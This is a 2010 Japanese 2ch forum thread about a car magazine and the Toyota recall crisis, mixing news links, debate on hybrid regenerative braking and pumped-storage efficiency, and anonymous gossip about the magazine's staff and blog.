332 :名無しさん@そうだドライブへ行こう:2010/02/09(火) 01:08:59 ID:0kAmB8M90
【自動車】スズキが中国でリコール…新型「アルト」約1万台が対象[10/02/05]
http://anchorage.2ch.net/test/read.cgi/bizplus/1265642437/

333 :名無しさん@そうだドライブへ行こう:2010/02/09(火) 04:27:33 ID:3g+8z3kp0
>>331
小型車と言っても重量的が1tからあるんだから運動エネルギーの回生は有効かと。
相性悪いっていうのは開発の言い訳じゃね? HVのタイプや考え方にもよる。

334 :名無しさん@そうだドライブへ行こう:2010/02/09(火) 11:39:24 ID:2zwwH5Tc0
トヨタ自動車:企業情報 > トヨタ関連Webサイトリンク集
ttp://www2.toyota.co.jp/jp/link/index.html

335 :名無しさん@そうだドライブへ行こう:2010/02/09(火) 11:56:46 ID:sF7sRFNS0
>>333
運動エネルギーの回収って意味では回生ブレーキは有効だけど、
現状ではそれを回収するバッテリー&動力補助用のモーター等、重量がな・・・・
大型車ではさほど問題にならないだろうけど、小型車のエンジンでは結構な負担だよ。

マツダのやってるアイドリングストップ機構などは良いと思うが

336 :名無しさん@そうだドライブへ行こう:2010/02/09(火) 16:47:23 ID:CQh+yeTy0
マツダやダイハツはハイブリ無しで30km/Lの車を市販予定。
でもコンパクトで25くらいのモード燃費だからインパクトないよな。
10・15じゃなくてJC08?で30km/Lいくなら革新的だけど。

337 :名無しさん@そうだドライブへ行こう:2010/02/10(水) 00:15:21 ID:bKjx2H8q0
結局、エネルギー保存の法則の前にはプリウスも電気自動車も無力

338 :名無しさん@そうだドライブへ行こう:2010/02/10(水) 00:17:30 ID:bKjx2H8q0
そんなに「回生」の効率がいなら電力会社は儲けまくるw

339 :名無しさん@そうだドライブへ行こう:2010/02/10(水) 00:31:31 ID:rHBiRPZ40
実際、電気会社がやってる回生というか電気の貯蔵は
「夜に水を汲み上げてダムを満たし、それを昼に放流する」
って、賽の河原みたいなことやってるからな。

340 :名無しさん@そうだドライブへ行こう:2010/02/10(水) 00:44:57 ID:7Im/G/+90
揚水ダムって蓄電効率6〜7割らしいけど、自動車エンジンの熱効率やハイブリの回生効率に比べたら神だよな。
安易なダム建設には反対だけど仮に揚水ダムを1億kW分作れば、
自動車の燃費改善しなくてもCO2排出削減目標は余裕でクリアできるだろうよ。
ついでに真夏の電力不足も解消。

個人でダム造れるなら、深夜電力と昼間電力の価格差で儲けたいくらいだ。

341 :名無しさん@そうだドライブへ行こう:2010/02/10(水) 06:04:39 ID:BF/Sm4M/0
とどのつまり、原発の出力がコントロールしにくくて夜の電力余るから、揚水発電なんて無駄なモノが必要な訳で。

342 :名無しさん@そうだドライブへ行こう:2010/02/10(水) 07:43:57 ID:9ThmAqeh0
電気の場合充電効率が悪く熱としてもロスするからなあ。
機械的なロスだけの方か回生率良かったりして。
ブレーキでバネを巻いたりおもりを持ち上げたりしておいて加速時に使うとか。
でも、これじゃあ金取れないからダメかw

343 :名無しさん@そうだドライブへ行こう:2010/02/10(水) 08:52:11 ID:sLDncANW0
>>341
水力は出力変動しやすいし、変動幅も大きいから、
風力や太陽光などの気象変動の大きい発電方法のバランサーとして最適。
揚水なら余剰電力を吸い上げて電力供給平滑化も出来るからさらに効果的。
原子力のようにあらかじめ計算できる発電方法のペアに使うだけなのはもったいない。
もっとクリーンソースだが汚い電力を生かすためにこそ揚水が必要。
じゃなきゃ、地熱や潮力や海流の発電を増やすしかないがこれはかなり難しい。




344 :名無しさん@そうだドライブへ行こう:2010/02/10(水) 09:15:19 ID:X14KmkkI0
>>342
圧縮空気に貯める回生とかフライホイールに貯める回生とかアイデアはあるな。
貯めるには軽く小さく効率的でいいが、吐き出すときに出力を制御し難いんじゃないか。
モーター乗っけるなら電気が楽なんだろう。



345 :名無しさん@そうだドライブへ行こう:2010/02/10(水) 11:11:26 ID:6ZtAUyZn0
エネルギー保存の法則で努力は熱になって飛んでしまうw

考えてみよう、あれほどでかいエンジンで加速したエネルギーが
タイヤホイルに収まる小さなブレーキで加速より短時間で加速したエネルギーを熱にして飛ばしてしまう

346 :名無しさん@そうだドライブへ行こう:2010/02/10(水) 11:59:04 ID:b6qq4Ifg0
そこはビールマンスピンの要領で。

347 :名無しさん@そうだドライブへ行こう:2010/02/10(水) 12:41:24 ID:x5H1TGRV0
同友会代表幹事、トヨタリコール問題「日本企業は反面教師に」
http://www.nikkei.co.jp/news/keizai/20100210ATFL0905709022010.html

348 :名無しさん@そうだドライブへ行こう:2010/02/10(水) 13:14:37 ID:wM9f95YZ0
>>320
バブル期のカムリプロミネント
ウィンダムよりカッコよかったが1代で廃止
あの頃は兄弟車の弊害はあったが車自体は実走で作りこんでる感じはあったな

349 :名無しさん@そうだドライブへ行こう:2010/02/10(水) 16:52:26 ID:MJCdyiTX0
ここの雑誌、ブログで車に関係ない記事を書きまくっている
山形浩生は盗作ライター
ネットでバーチャルアイドルが書いていた法律知識を
リサーチなくそのまま朝日新聞にコラムで書く。
後で法律家が「その解釈は違う。勉強不足」と書いたが、
山形は検証することもなく放置。
裁判で負けて謝罪文載せろと判決が出た時、渋々謝罪。

350 :名無しさん@そうだドライブへ行こう:2010/02/10(水) 21:24:02 ID:yoe1Wxy80

ブログでウイルスばらまいて隠蔽した件で
不倫編集長が
何か弱み握られたんだろ

よくこんないかがわしい連中に
個人情報、クレジット情報を流す人が
いるよな

351 :名無しさん@そうだドライブへ行こう:2010/02/10(水) 21:59:04 ID:9ThmAqeh0
>>344
>>345
>>346
まあ、どう考えても運動エネルギーを回収して、保存して、出力に使う過程の
全体の回収率が80%も90%いくわけないでしょうね。
だから、10/15モード(JC08)燃費と同時に60km定速走行燃費も出してもらわんと
HVの10/15モード燃費はなんだか胡散臭いよね。
10/15モードが60km走行燃費に近かったり、それ以上になったりするなら、
これはバッテリー走行分を上乗せしてることになりかねない。


352 :名無しさん@そうだドライブへ行こう:2010/02/11(木) 00:14:54 ID:Bv465p+F0
そりゃバッテリーフル充電ならモーターだけでモード走行は走り切れてしまうんだから、
モード走行スペシャルプログラムを仕込んでおけば燃料はアイドリング分しか消費し
ないでしょ。

353 :名無しさん@そうだドライブへ行こう:2010/02/11(木) 00:20:32 ID:WaWkZukG0
発売当初はエネルギー保存の法則を超越したと不遜な妄想をしたメーカー

354 :名無しさん@そうだドライブへ行こう:2010/02/11(木) 05:05:24 ID:TECzB3JR0
エネルギー保存の法則があるからエネルギーの回生ができるわけだが

355 :名無しさん@そうだドライブへ行こう:2010/02/11(木) 10:53:25 ID:n9MxVGKH0
ただ効率が落ちるのみ

356 :名無しさん@そうだドライブへ行こう:2010/02/11(木) 11:25:30 ID:8NabxhshO
>>71>>73が眩しすぎるw

357 :名無しさん@そうだドライブへ行こう:2010/02/11(木) 18:43:08 ID:Q+iU1L+70
新型「パッソ」発表会 トヨタが中止

 トヨタ自動車は10日、15日に予定していた新型「パッソ」の発表会を中止すると発表した。
新型「プリウス」などのリコール(回収・無償修理)問題で“自粛”したとみられる。

当日は「女子大学の開校式さながらに式典を行う」などの趣向をこらし、都内で華やかに発表会を開く予定だった。

トヨタによると、発売は予定通り行う。同社はすでにホームページのトップに「お詫び」を掲げるなど、自粛ムードを強めている。

 パッソは女性を中心に人気の小型車で、2004年に初めて発売された。
トヨタが子会社のダイハツ工業と共同開発し、ダイハツの「ブーン」とは姉妹車に当たる。
09年の年間販売台数は約9万3000台で、前年比で35.5%増と販売は好調だった。
リコールが新車のPRにも影響を与えた形だ。

SankeiBiz
http://www.sankeibiz.jp/business/news/100211/bsa1002110505003-n1.htm

358 :名無しさん@そうだドライブへ行こう:2010/02/13(土) 00:32:44 ID:xLMaRpRP0
【自動車】スズキが中国でリコール…新型「アルト」約1万台が対象[10/02/05]
http://anchorage.2ch.net/test/read.cgi/bizplus/1265642437/


359 :名無しさん@そうだドライブへ行こう:2010/02/15(月) 23:37:36 ID:4JKAS99/0
【自動車】トヨタ、新型「パッソ」発売 発表会自粛、リコールの影響心配[10/02/15]
http://anchorage.2ch.net/test/read.cgi/bizplus/1266218075/

360 :名無しさん@そうだドライブへ行こう:2010/02/15(月) 23:58:53 ID:cF9M40fu0
今年に入って迷惑メールが急増したんだけど

このブログが個人情報漏らしてんじゃない?

361 :名無しさん@そうだドライブへ行こう:2010/02/16(火) 11:33:02 ID:XYvSD7su0
トヨタみたく社長きちんとが謝罪するとか

362 :名無しさん@そうだドライブへ行こう:2010/02/16(火) 13:59:12 ID://j4hbU30
こいつらに都合の悪い話は触れない体質
余罪も多すぎて・・・

363 :名無しさん@そうだドライブへ行こう:2010/02/17(水) 00:20:51 ID:lCna7nbe0
トヨタの社長が立派に見える
トヨタを叩く資格は無し

364 :名無しさん@そうだドライブへ行こう:2010/02/17(水) 02:22:59 ID:xZlmUoJ70
>トヨタの社長が立派に見える

ヨタオタw
トヨタは欠陥車で人を殺してるからw

365 :名無しさん@そうだドライブへ行こう:2010/02/17(水) 11:43:58 ID:JKGy4wRx0

トヨタの社長 ★★★★

Xブログ ★

366 :名無しさん@そうだドライブへ行こう:2010/02/17(水) 12:48:07 ID:L0ggJq5a0
ボルボのディーラーがここと同じように個人情報漏らした時は
気が狂ったように毎月批判し続けてたよな
弱いところに対しててだけとことん強気

367 :名無しさん@そうだドライブへ行こう:2010/02/17(水) 15:40:45 ID:9L07KYLu0
今月号は、さすがに嬉々として、総力でトヨタ叩き大特集やると思ってるんだがw

368 :名無しさん@そうだドライブへ行こう:2010/02/17(水) 17:10:50 ID:xZlmUoJ70
ここのところ、ヨタオタが消えてたけど、また復活してきたなw

369 :名無しさん@そうだドライブへ行こう:2010/02/17(水) 17:13:24 ID:VVjJ2Z3z0
愛知県民か社員じゃないのw トヨタなんてオタクが好きになる要素ゼロじゃんw

370 :名無しさん@そうだドライブへ行こう:2010/02/17(水) 17:28:29 ID:xZlmUoJ70
>>369
もしくは、トヨタ車オーナーだろうなw

プリウス騒ぎが起こって以来、スレから一斉に消えていたからなw
分かりやすいw

371 :名無しさん@そうだドライブへ行こう:2010/02/17(水) 22:15:23 ID:c65L39IA0
まあ、どっちにしてもただの間抜けだな。

372 :名無しさん@そうだドライブへ行こう:2010/02/17(水) 23:15:30 ID:9mVjynLz0
俺のところも迷惑メール急増

ここの雑誌にスクープ情報提供した読者が
会社から訴えられたらしいけど
人の情報漏らしても、悪いとも思ってないんだろ。


373 :名無しさん@そうだドライブへ行こう:2010/02/18(木) 00:18:42 ID:t5lf+Syk0
それは情報提供者が悪い^^

374 :名無しさん@そうだドライブへ行こう:2010/02/18(木) 00:25:09 ID:JLq8pHfb0
>>372
>ここの雑誌にスクープ情報提供した読者が
>会社から訴えられたらしいけど
>人の情報漏らしても、悪いとも思ってないんだろ。

アホ?
そりゃ情報提供した読者が間抜けなだけだw

375 :名無しさん@そうだドライブへ行こう:2010/02/18(木) 23:52:34 ID:YzwmncsD0
どうせ新車情報はメーカーから裏ルートでもらってるよ。
その代わりスクープ情報を提供した個人がいれば会社へ通報。
チョット考えれば分かることだろうに。

総括なんかでくだらない批評をするくらいだったら
自分たちで車を作って売れば良いのに。
世界でトヨタを超えるベストセラーになるはずだ。
なぜ、それをしないのか?

376 :名無しさん@そうだドライブへ行こう:2010/02/19(金) 00:18:39 ID:j4DpdWLD0
【USA】 高速走行時に車の向きが予想外に左右に変わるトヨタ「カローラ」の電動パワステで米当局、正式に調査へ
http://gimpo.2ch.net/test/read.cgi/wildplus/1266472865/

377 :名無しさん@そうだドライブへ行こう:2010/02/19(金) 07:21:46 ID:WmdF70Cm0
リコールとなった「プリウス」のメカニズム

ttp://jbpress.ismedia.jp/articles/-/2806

378 :名無しさん@そうだドライブへ行こう:2010/02/19(金) 11:43:14 ID:O3xsTarj0
キーワード【 トヨタ 自動車 販売 吉林 総括 生産 スズキ 】

379 :名無しさん@そうだドライブへ行こう:2010/02/19(金) 21:56:06 ID:GVgeE4HH0
>>375のような核心をついた
中の人にとって都合が悪い書き込みがあると、
直後に>>376のようなコピペが貼られる不思議w

380 :名無しさん@そうだドライブへ行こう:2010/02/20(土) 10:39:49 ID:aSK00/st0
でもトヨタの下請けが全部造反して新しいメーカー作ったらいいのになと考えた
事があるのは俺だけじゃないはずだ。

381 :名無しさん@そうだドライブへ行こう:2010/02/20(土) 21:26:48 ID:ohiV7iLp0
まあね。トヨタは車作りに直接関わってない無能な社員・管理職が多すぎ。
この機会に不要なな3/4程度の無駄メシ食いを切らないと、もたないだろう。


382 :名無しさん@そうだドライブへ行こう:2010/02/20(土) 23:16:42 ID:76q+dWojO
>>375
>自分たちで車を作って売れば良いのに。
それ、典型的な馬鹿の逆ギレですからw

383 :名無しさん@そうだドライブへ行こう:2010/02/21(日) 10:08:49 ID:Zh5PK3Gw0
トヨタクラスの車メーカー立ち上げるって、何兆円あっても足りんわ。

384 :名無しさん@そうだドライブへ行こう:2010/02/21(日) 13:18:37 ID:Hln/4G8a0
総括メンバーって、事情通やショップ社長の部外者は置いておくとしても
大なり小なり車開発に関わってきたメンバーなんだよね?どんな立派な車の
開発に関係してきたか、知りたいと思うんだけど、データ出てた?
まあ、実際ライターが適当に書いてるだけで、実在しないのかもしれないけど・・・。

385 :名無しさん@そうだドライブへ行こう:2010/02/21(日) 13:44:06 ID:M2vc7KwH0
実在するわけないじゃん。
例の、3列シート誤認記事では、
一人が言い出したことに誰も突っ込みを入れてなかったしw

386 :名無しさん@そうだドライブへ行こう:2010/02/21(日) 14:00:54 ID:DixXZCk/0
>384
> まあ、実際ライターが適当に書いてるだけで、実在しないのかもしれないけど・・・。

牧野氏が一人で書いてるって、ボンバーがバラしてた。

387 :名無しさん@そうだドライブへ行こう:2010/02/21(日) 15:51:57 ID:M65UIy1q0
内情バラスとは盆か神だ〜。
総括記事全部盆に任せたら良いんじゃね?
売れるかどうかは別として。

388 :名無しさん@そうだドライブへ行こう:2010/02/21(日) 21:29:36 ID:PhVvQ40q0
ただし、牧野氏って、走行性能関係は門外漢だと思うんだよね。
国政さんがからんでるのではないかと思うのだけど。

389 :名無しさん@そうだドライブへ行こう:2010/02/21(日) 23:28:03 ID:yO5qOumtO
偏らないように、車の評判については森氏に意見聞いてるみたいだけどね
デザインは千葉匠氏だね

ちなみに前澤氏のデザインの好みが最近分かってきたw
千葉氏との評価の違いが面白い

なんだかんだって、前澤氏はシンプル&プロポーション命なんだよな・・・

390 :名無しさん@そうだドライブへ行こう:2010/02/21(日) 23:33:48 ID:yO5qOumtO
>>388
走行関係については国政氏
メカニズムについては畑村氏
デザインについては千葉氏
それに森氏の話を加えて、牧野氏が座談会形式に纏めているみたいね

だからボンバーが言ってるのは、半分正解ってとこだな〜

>>387
無理だろw


391 :名無しさん@そうだドライブへ行こう:2010/02/22(月) 00:17:35 ID:TEijfYdJ0
382さん

375です。逆ギレの意味が分からないんですが。
作れないんだったら余計な事は言わない方が良いですよ。
批判だけなら幼稚園児でも出来ます。ただそれだけの事。

392 :名無しさん@そうだドライブへ行こう:2010/02/22(月) 00:34:57 ID:TEijfYdJ0
383さん
「トヨタクラスの車メーカー立ち上げるって、何兆円あっても足りんわ。」

トヨタを超えるメーカーになるんだから、どこの銀行でも融資してくれますよ。
国内が無理なら中国にでも行ってみれば。確実に儲かる話に乗らない
投資家は居ないと思いますよ。
あくまで評論家の人が集まって本当に車が出来るのなら、ですが。

393 :名無しさん@そうだドライブへ行こう:2010/02/22(月) 02:25:21 ID:+8lVRxMwO
>>390
モーターファンイラストレーテッドのメンバーじゃねーか!w

総括は、匿名なのをいいことにボロカス言ってるのがなぁ…(特に国産車)
総括では、DCT、ガソリン直噴(+過給機)エンジン、ターボディーゼルマンセーしてるけど、
コストってのを全く勘案していないように見える。

394 :名無しさん@そうだドライブへ行こう:2010/02/22(月) 08:46:43 ID:EL+UMCeN0
>>390
凡懐かしいなw
モローはいないの?

395 :名無しさん@そうだドライブへ行こう:2010/02/22(月) 09:13:35 ID:7MV+zBwsO
>>391
読者に「この漫画つまんね〜」と言われて、
「だったらお前が書けよ!」と逆ギレする人にそっくりだよねw

感情的になるのは、反論する言葉や知識がない事の証明
知識があるヤツは、んなことは言わない


396 :名無しさん@そうだドライブへ行こう:2010/02/22(月) 09:24:59 ID:7MV+zBwsO
>>394
今はいないだろな
最近の総括は車内空間について、言及が少なくなった。

>>393
市街地走行メインの軽自動車〜小型車については、DCTよりCVTの方が向いてると思うね
それも日本に限った話じゃなくて

欧州のガソリン直噴やターボの流行を、結果的に実践しつつあるのは軽自動車だな
これが一部小型車に波及しても良いとは思うがね


397 :名無しさん@そうだドライブへ行こう:2010/02/22(月) 10:39:04 ID:P9AfJnG80
【インタビュー】トヨタが米国民を怒らせた本当の理由を語ろう--米著名自動車コンサルタントのマリアン・ケラー氏[10/02/15]
http://anchorage.2ch.net/test/read.cgi/bizplus/1266201625/

398 :名無しさん@そうだドライブへ行こう:2010/02/22(月) 13:51:37 ID:9/llzDbp0
>>393
モーターファンに千葉匠氏は参加してないでしょ
デザインについてときどき書いてるのは荒川氏と・・・あと名前忘れたけどもう一人別の人

399 :名無しさん@そうだドライブへ行こう:2010/02/22(月) 18:13:19 ID:S+PZEWQa0
昔々のようにスクープがんばれ

400 :名無しさん@そうだドライブへ行こう:2010/02/22(月) 18:16:22 ID:HZf2yXSL0
値段がどんどん高くなってるな。立ち読みだから関係ないけど。

401 :名無しさん@そうだドライブへ行こう:2010/02/22(月) 20:22:58 ID:2NvAwEYy0
395さん
391です。関係者の方なのか、当たり前の事を言われて怒っちゃたみたいだけど。
こちらにはキレる理由がありません。
「批判だけなら幼稚園児でも出来ます。」って笑っているだけです。
本当に楽しめる車を庶民が買える値段で出してくれるのなら大歓迎ですよ。

402 :名無しさん@そうだドライブへ行こう:2010/02/22(月) 20:45:52 ID:2NvAwEYy0
399さんのように
「昔々のようにスクープがんばれ 」って言う意見もありますが
本当にカーメーカーが隠しておきたい情報を隠れて撮影するのは
女子トイレの盗撮と同じレベルの話ですよ。
どちらも、本人が公にされたくない事を無断で撮影しているんですからね。

403 :名無しさん@そうだドライブへ行こう:2010/02/22(月) 21:22:20 ID:ExaAatKX0
個人情報漏洩ブログ 
  +
やらせスクープ
  +
1人座談会
  ↓
 廃 刊

404 :猿回し:2010/02/22(月) 22:34:49 ID:poZlGLKi0
トヨ様を正当に叩くのを止めたから面白くなくなっただってえの。
思い切り、思った通り、真実をズバっと切る。
それができなくなったからXはつまらない。

結局、トヨ様はご覧の通り。
誰の言ってたことが正しいか、お前ら言ってみろ。
ん?

405 :名無しさん@そうだドライブへ行こう:2010/02/22(月) 23:48:38 ID:efS86OuV0
【社会】「早く火消しを」トヨタのリコール問題、系列会社が危機感
http://tsushima.2ch.net/test/read.cgi/newsplus/1266622589/

406 :名無しさん@そうだドライブへ行こう:2010/02/23(火) 05:57:40 ID:Y/ffxRtv0
確かに与太車やプリウスの評価に関しては盆が正しかったのかもね。
この際、一度思い切って、総括とか何チャラ本舗とか全部任せてみれば?
どうせこのままでは、廃刊しかないんだろうし。


407 :名無しさん@そうだドライブへ行こう:2010/02/23(火) 09:58:39 ID:a7iR0w7u0
ていうかこのままじゃ自動車雑誌自体が2誌ぐらいしか残らないと思う。

408 :名無しさん@そうだドライブへ行こう:2010/02/23(火) 11:41:41 ID:E6VudG2l0
キーワード【 自動車 トヨタ VW 販売 吉林 リコール ダイハツ 】

409 :名無しさん@そうだドライブへ行こう:2010/02/23(火) 13:18:31 ID:nbsU+Ljy0
自分達に都合がいいように
情報漏えい、情報捏造雑誌は
廃刊したほうがいい。

410 :名無しさん@そうだドライブへ行こう:2010/02/23(火) 15:12:47 ID:a7iR0w7u0
週刊朝日の事でしょうか?

411 :名無しさん@そうだドライブへ行こう:2010/02/23(火) 23:22:12 ID:sm6kBJhM0
親会社トヨタの影響?

自動車8社の1月世界生産、前年減産の反動で7社が大幅増
http://jp.reuters.com/article/topNews/idJPJAPAN-14022520100223

ダイハツ工業(7262)は国内生産が15.9%と1月として過去最大の下落率となり、世界生産も2カ月連続でマイナスだった。

412 :名無しさん@そうだドライブへ行こう:2010/02/24(水) 08:28:26 ID:NLi3IPe/0
【社会】「強欲すぎたトヨタよ、恥を知れ」公聴会で涙の訴え
http://tsushima.2ch.net/test/read.cgi/newsplus/1266965735/

413 :名無しさん@そうだドライブへ行こう:2010/02/24(水) 08:29:16 ID:NLi3IPe/0
「強欲すぎた★★★-★よ、恥を知れ」

414 :名無しさん@そうだドライブへ行こう:2010/02/24(水) 09:40:32 ID:+jrQ0hXB0
リコールとなった「プリウス」のメカニズム
http://jbpress.ismedia.jp/articles/-/2806

ほぼ同意。

415 :名無しさん@そうだドライブへ行こう:2010/02/24(水) 09:44:22 ID:+jrQ0hXB0
トヨタ、07年のリコールで1億ドル超のコスト節減=内部文書

トヨタ自動車の内部文書によると、同社は、
比較的安価なフロアマットのリコールにより、
米規制当局にトヨタ車の急加速問題をめぐる
2007年の調査を終了するよう説得することで
1億ドル超のコストを節減した。

2009年7月にトヨタの米ワシントンのスタッフが
稲葉良睨・北米トヨタ自動車(TMA)社長向けに準備した報告書と
みられるこの文書は、急加速の問題を「重要な」安全問題として挙げている。

24日に予定される米下院監督・政府改革委員会公聴会への豊田章男社長の出席に先立ち、
同委員会に提出された機密文書の写しをロイターが入手した。

トヨタの関係者からのコメントは今のところ得られていない。

トヨタは過去数カ月にわたり、アクセルペダルの不具合やフロアマットの問題などで
意図しない急加速が起きる恐れがあるとして、世界で850万台超をリコールしたが、
2009年8月の自動車衝突事故以前は、
急加速問題に関するの苦情への対応を
「カムリ」と「レクサスES350」の5万5000件の
フロアマットのリコールにとどめていた。

2009年7月のトヨタの文書は「好ましいリコールの結果」を
トヨタの米政府へのロビー活動の主な成果で、
「トヨタに有利な安全規則の制定」と指摘。
推定約1億2400万ドルのコスト節減につながったとしている。

http://jp.reuters.com/article/businessNews/idJPJAPAN-13993220100222

416 :名無しさん@そうだドライブへ行こう:2010/02/24(水) 09:45:09 ID:+jrQ0hXB0
トヨタ リコール 米大陪審が召喚状 刑事責任追及を視野

トヨタ自動車は22日、米ニューヨーク州南部連邦地方裁判所の連邦大陪審から、
大規模リコール(回収・無償修理)の原因となったアクセル不具合やハイブリッド車(HV)新型「プリウス」のブレーキなどについての書類提出を求める召喚状を受け取ったと発表した。
大陪審がリコール問題で召喚状を出すのは極めて異例で、トヨタの刑事責任が追及される可能性が出てきた。

http://headlines.yahoo.co.jp/hl?a=20100223-00000057-san-bus_all


ヨタ工作員さん、大変だよw


417 :名無しさん@そうだドライブへ行こう:2010/02/24(水) 10:22:01 ID:YTm4qW0o0
“恐怖の体験者”涙の訴え「トヨタよ、恥を知れ」
http://tsushima.2ch.net/test/read.cgi/news/1266971589/

418 :名無しさん@そうだドライブへ行こう:2010/02/24(水) 11:57:07 ID:y1fIP7td0
日本経済新聞
スズキのインド子会社、10万台リコール 燃料タンクに不具合
http://www.nikkei.co.jp/news/sangyo/20100223ATDD230EN23022010.html

419 :名無しさん@そうだドライブへ行こう:2010/02/24(水) 14:22:54 ID:RAdb3Pg90
>>406
盆バーにやらせるのは?だけど
中の人アイデアもセンスも枯れ果てて
ワンパターンでつまんないよ。

スタッフ総とっかえしたほうが
売れる雑誌になるだろうね。

420 :猿回し:2010/02/24(水) 21:38:06 ID:s9d/SJ890
うん、うん。別にオレが全ページ書いてやっても良いんだぞ。
トヨタがもうダメだとオレが予言した理由は何か。
プリウスは似非エコカーというのがどう言う意味だったのか。
誰のおかげで今ミラーサイクルが復活したのか。独壇場だなw
おバカなおまえらにも、ちゃんと分かるように教えてやろうじゃないの。


421 :名無しさん@そうだドライブへ行こう:2010/02/24(水) 23:58:29 ID:RTAH7OLa0
各社実績の詳細

 トヨタ自動車(株)(以下、トヨタ)は、
1月のトヨタ、ダイハツ工業(株)(以下、ダイハツ)及び
日野自動車(株) (以下、日野)の生産、国内販売、輸出の実績を下記のとおり発表した。

<トヨタ・ダイハツ>
ttp://www2.toyota.co.jp/jp/news/10/02/nt10_0203.html

422 :名無しさん@そうだドライブへ行こう:2010/02/25(木) 01:01:31 ID:b4iXW2RP0
トヨタ:防戦一方 販売社長「技術者でないので」

トヨタ自動車の大規模リコール問題で、23日に開かれた米下院エネルギー・商業委員会の公聴会では
冒頭でトヨタ車の急加速を体験した女性が涙ながらに証言すると、
トヨタを非難する流れが一気に強まり、米国トヨタ自動車販売のレンツ社長は、
議員らの厳しい追及に終始、防戦に追われた。

「なぜ苦情のあった自動車を回収して不調の原因を究明しなかったのか」。
「いちいち日本の本社からの指示を仰がないといけないのか」。
議員側からは、トヨタの対応を非難する声が続出した。
公聴会の直前、急加速につながる欠陥は電子制御スロットルシステムで見つかっていないと
強調していたレンツ社長だったが、
質疑では「技術者ではないので詳しいことは分からない」と苦しい答弁を繰り返した。

また、「あなたには権限はないのか。責任の所在はどこにあるんだ」、
「トヨタの品質管理はこの程度のものなのか」など、
トヨタの組織体制そのものを疑問視する意見や質問もあり、
24日に公聴会に出席する豊田章男社長への風当たりの強さを予感させた。

安全性に関する専門家として出席した、南イリノイ大のギルバート教授(自動車技術)は、
ETCSの回路の不具合などでアクセルペダルから誤った信号がエンジンに送られれば、
「安全システムが機能しない状況がありうる」と証言。
急加速の原因について、ETCSを徹底的に調べるべきだとの見解を示した。

(抜粋)
http://mainichi.jp/select/biz/news/20100224k0000e020053000c.html


423 :名無しさん@そうだドライブへ行こう:2010/02/25(木) 01:02:40 ID:b4iXW2RP0
>>409
ぶっちゃけ、MAG-Xより先にトヨタがお父さんしそうです><

424 :名無しさん@そうだドライブへ行こう:2010/02/25(木) 01:35:19 ID:cJfPZQyX0
まあ万が一そんな事があったらさすがに国が全力で支えるだろ
消費税を20%くらいにしても

425 :名無しさん@そうだドライブへ行こう:2010/02/25(木) 02:47:57 ID:FCOntzJY0
不良品メーカーは潰した方が日本製品のイメージダウンにならなくて良い

426 :名無しさん@そうだドライブへ行こう:2010/02/25(木) 05:36:25 ID:ehE+mXyd0
こ、これは。盆にペケの存続を託すしかないのか。。。
与太とどっちが先に逝くかって状況だな・・・

427 :名無しさん@そうだドライブへ行こう:2010/02/25(木) 09:05:08 ID:b4iXW2RP0
利益の7割を北米で稼ぎ出したのに、この失態w

いくら国内マスコミを広告費ネタで押さえ込んでも、意味がないわなw

428 :名無しさん@そうだドライブへ行こう:2010/02/25(木) 09:13:49 ID:b4iXW2RP0
282 名無しさん (2010/02/24(水) 23:01:35 ID:OD9hDK9Lmk)
ちゃんと暴走する可能性が調べられてるじゃないか

またリンクだが

http://www.safetyresearch.net/Library/Preliminary_Report022110.pdf

このレポートの12ページに可能性が載っている.
原因が考えられないといったトヨタは終わったな完璧に.

内容をまとめると次のようになる.
アクセル開度に比例した電圧を出力するセンサーが2つついていて
その電圧が食い違ったら故障と判断されるようになっている.
アクセルの角度に応じて同じ電圧が出力されれば故障していないと判定するわけだ.
トヨタはだから1つが壊れても検出可能だと言っているのだろう.
しかし,この2つの出力が何らかの理由でショートすることで
常に同じ電圧が出るようになったとすると
故障は検出できなくなり
仮に故障が発生するとエンジンの暴走につながってしまう.

このような故障を検出するためには
2つのセンサーの出力が常に異なる出力となるように
設計すべきであるとレポートでは提言している.
常にオフセットを持つとか,出力の倍率を変えるということだ.
そうすることでショートが検出できる.


429 :名無しさん@そうだドライブへ行こう:2010/02/25(木) 11:00:50 ID:zopd9njP0
ダイハツ工業(7262) 低燃費・低価格車時代での活躍を先取りした買いを継続。(シティグループ証券)
http://mainichi.jp/life/money/kabu/nsj/news/20100225199365.html

 トヨタの子会社であるためリコール問題を懸念する向きもあるが、日本での販売に支障が出てきているとは思えない。
米国では影響は出るかもしれないが、ダイハツは米国でのビジネスはないので関係ない。

430 :名無しさん@そうだドライブへ行こう:2010/02/25(木) 21:26:15 ID:ARQUlmxI0
【日本車オワタ】 リコール スズキ43万台、日産7万台、ダイハツ6万台
http://tsushima.2ch.net/test/read.cgi/news/1267084185/

Xの好きなメーカ総崩れ 

431 :名無しさん@そうだドライブへ行こう:2010/02/25(木) 22:52:49 ID:lNV8O85P0
MAG-Xのブログがウイルス感染していたのを

隠蔽していた件は、いつ総括するのか?

432 :名無しさん@そうだドライブへ行こう:2010/02/25(木) 23:43:46 ID:M3yd8ATH0
ゲバルトによりパージ(Purge)いたします

433 :名無しさん@そうだドライブへ行こう:2010/02/25(木) 23:52:09 ID:ZsryviMh0
>>430
何というか、リコール出さないメーカーの方が信用できない感じになってきたがw

434 :名無しさん@そうだドライブへ行こう:2010/02/26(金) 00:38:56 ID:w5ZNlg+v0
>>430
ダイハツは最近糞味噌に書いてるだろw

ま、いくらここで頑張っても、トヨタのリコール1千万台には敵いませんからw

435 :名無しさん@そうだドライブへ行こう:2010/02/26(金) 00:40:48 ID:w5ZNlg+v0
【トヨタ問題】「原因はトヨタが反一族の金儲け主義の海賊連中に乗っ取られたこと」−元北米トップ[10/02/25]
http://tsushima.2ch.net/test/read.cgi/newsplus/1267104542/


436 :名無しさん@そうだドライブへ行こう:2010/02/26(金) 06:23:59 ID:kEz2Vo8t0
http://www.afpbb.com/article/economy/2701135/5392928
>新車の「レクサスES 350」で高速道路に合流したところで、スミスさんは突然、時速70マイル(約113キロ)から100マイル(約160キロ)への不可解な急加速を体験した。
>必死でサイドブレーキをかけ、ギアをバックに入れたが、速度は下がることなく車は高速道路を疾走した。
>短距離無線通信規格のブルートゥース(Bluetooth)搭載の携帯電話で、夫に電話をかけたという。
>夫へ電話をかけたとき、「神の力が介在し」、車はすこしずつ減速して停止したという。

これ検証して欲しい

437 :名無しさん@そうだドライブへ行こう:2010/02/26(金) 07:48:21 ID:9yjWywZ30
いや走行中にギヤバックに入れてもいいものなんか?

438 :名無しさん@そうだドライブへ行こう:2010/02/26(金) 11:21:16 ID:3omVdxaQ0
